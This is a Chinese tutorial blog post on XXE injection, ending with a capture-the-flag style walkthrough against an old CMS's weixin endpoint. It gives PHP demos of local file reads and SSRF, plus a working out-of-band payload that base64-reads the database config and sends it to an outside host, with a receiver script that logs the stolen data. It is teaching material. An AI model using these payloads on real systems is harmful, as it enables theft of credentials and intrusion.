zoukankan      html  css  js  c++  java
  • XXE漏洞——介绍及利用

    什么是xxe

    XML外部实体注入,简称XXE漏洞。XML文档结构包括XML声明,DTD文档类型定义,文档元素。
    

    XML示例

        <?xml version="1.0"?>XML声明
        <!DOCTYPE note [
        <!ELEMENT note(to,from,heading,body)>
        <!ELEMENT to(#PCDATA)>
        <!ELEMENT from(#PCDATA)>            文档定义类型(DTD)
        <!ELEMENT heading(#PCDATA)>
        <!ELEMENT body(#PCDATA)>
        ]>
        <note>
        <to>tove</to>
        <from>jani</from>
        <heading>reminder</heading>
        <body>don't forget me this weekend</body>            文档元素
        </note>
    

    DTD的内、外部声明

    1. 内部声明格式
    <!DOCTYPE 根元素 [次一级元素声明]
    
    1. 外部引用格式
    <!DOCTYPE 根元素 SYSTEM "url路径"
    

    PHP示范利用DTD的外部使用操控XML

    php代码
    <?php
    	$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>';  //后面的标签名,&实体声明一定得有
    	$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
    	print_r($obj);
    ?>
    
    结果:

    外部DTD支持的协议

    简单漏洞利用!

    可以让目标服务通过特定协议去访问相关资源,从而实现SSRF(服务器请求伪造)
    攻击。我们还可以进行内网服务探测、端口探测等利用
    
    利用http请求baidu
    <?php
    	$test = '<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>';
    	$obj = simplexml_load_string($test, 'simpleXMLElement', LIBXML_NOENT);
    	print_r($obj);
    ?>
    
    结果

    虽然页面是很多Wraning警告,但其实我们已经得到了baidu的源码数据

    盲注漏洞利用!

    XXE中也存在盲注,不会给你显示东西。
    
    思路
    1. 利用其他东西证明其存在

      • 延时

      • 写文件

        搭建一个服务器里边有个php(test_blind.php)文件,访问后搭建的服务器目录生成一个文件

        //test_blind.php  文件
        <?php
        file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
        ?>
        

    2. 将结果外带出来

      • DNS注入

      • 反弹注入

    SSRF和XXE最大的功能是能发起请求,这给了我们很大的空间发挥

    复现环境

    目标

    闪灵建站cms

    分析

    目标是老版本闪灵源码。然后我找不到这个版本了。

    数据库配置目录文件

    conn/conn.php

    含有 simplexml_load_string 函数的漏洞目录文件

    weixin/index.php

    思路

    访问含有漏洞的文件,发现其接受POST传参作为XML执行。但同时必须传入一个参数(signature)让它不为空

    图片1

    图片2

    • 解读php://input
      接收所有POST的数据
    实践

    首先试探性的随便传一些数据。

    发现爆出了绝对路径。这时候我们可以构造XML

    <?xml version="1.0"?>
    <!DOCTYPE ANY[
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
    <!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
    %remote;
    %send;
    ]>
    

    % file 定义一个参数实体,SYSTEM表示外部引用。其中%remote是引用外部xml,那是靶场提供的xml,内容如下。

    <!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://59.63.200.79:8017/2.php?id=%file;'>"
    >
    %all;
    

    发现继续报错,但是这并没关系。我们已经得到了想要的东西。再看靶场提供的3.txt文件,里边记录了我们获得的信息

    解密后得到数据库连接密码,但是

    则是内网ip,接下来我们找找网站数据库登录后台。这里是adminer.php

    成功进入后台,查表得管理员密码

    md5解密后记得flag

  • 相关阅读:
    Netty学习路线总结
    Intellij IDEA 快捷键整理-鬼畜版(全键盘开发指南)
    httpClient
    [翻译]Javaslang 介绍
    Docker学习<一>--初体验Windows环境下安装
    Spring @RequestParam @RequestBody @PathVariable 等参数绑定注解详解
    IntelliJ IDEA 2016.2激活方法
    解决mac升级后,出现的 xcrun: error: invalid active developer path, missing xcrun 错误
    Logstash 安装与配置
    【JVM学习笔记】双亲委托机制存在的意义
  • 原文地址:https://www.cnblogs.com/beidaxmf/p/14302565.html
Copyright © 2011-2022 走看看